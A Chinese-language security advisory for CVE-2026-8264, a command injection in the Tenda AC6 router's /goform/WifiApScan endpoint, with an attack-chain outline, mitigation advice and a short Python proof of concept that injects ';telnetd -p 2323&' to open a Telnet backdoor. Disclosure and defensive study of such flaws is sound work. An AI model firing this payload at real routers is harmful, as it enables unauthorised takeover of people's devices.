IPBUF安全漏洞报告
English
CVE-2026-8264 CVSS 6.3 中危

CVE-2026-8264 Tenda AC6 操作系统命令注入漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-8264
漏洞类型
操作系统命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC6

相关标签

命令注入RCETenda路由器IoTCVE-2026-8264

漏洞概述

Tenda AC6路由器V15.03.06.23版本被披露存在操作系统命令注入漏洞。漏洞成因是httpd组件中的WifiApScan功能未正确处理wl2g.public.country等参数。攻击者可利用此缺陷,通过发送特制的HTTP请求在系统底层执行任意命令。该漏洞允许远程无交互攻击,威胁设备机密性、完整性和可用性。

技术细节

该漏洞位于Tenda AC6路由器的Web服务器(httpd)组件中,具体涉及处理路径`/goform/WifiApScan`的`formWifiApScan`函数。该函数主要用于处理无线网络扫描请求,但在解析`wl2g.public.country`和`wl5g.public.country`参数时,未对用户提供的数据进行严格的边界检查或特殊字符过滤。这允许攻击者注入Shell元字符(如`;`、`|`、`&`、`$()`等)来拼接原有的系统命令。当服务器端接收到精心构造的POST请求并尝试执行系统调用时,注入的命令将以设备最高权限运行。由于CVSS评分显示攻击复杂度低且无需用户交互,此漏洞极易被自动化工具利用,导致设备被远程控制。

攻击链分析

STEP 1
侦察
攻击者扫描网络,寻找开放在默认端口上的Tenda AC6设备,并确认其固件版本为受影响的V15.03.06.23。
STEP 2
漏洞利用
攻击者向目标设备的`/goform/WifiApScan`接口发送恶意的HTTP POST请求,在`wl2g.public.country`参数中注入Shell命令。
STEP 3
命令执行
设备后端未过滤特殊字符,直接将参数传递给系统Shell执行,导致攻击者注入的命令(如开启后门或窃取配置)在设备上运行。
STEP 4
建立控制
攻击者利用执行的反向Shell或绑定的Telnet服务,获取路由器的Root权限控制,从而完全接管设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual IP) target_url = "http://192.168.0.1/goform/WifiApScan" # Malicious payload to inject commands (e.g., telnetd) # The vulnerability is in wl2g.public.country or wl5g.public.country payload = ";telnetd -p 2323&" data = { "wl2g.public.country": payload } try: response = requests.post(target_url, data=data) print(f"Status Code: {response.status_code}") print("Response body:") print(response.text) except Exception as e: print(f"An error occurred: {e}")

影响范围

Tenda AC6 15.03.06.23

防御指南

临时缓解措施
如果无法立即升级固件,建议暂时禁用路由器的远程管理功能,并通过ACL(访问控制列表)严格限制对Web管理接口(端口80/443)的访问来源,仅允许本地管理主机连接,以阻断远程攻击路径。

参考链接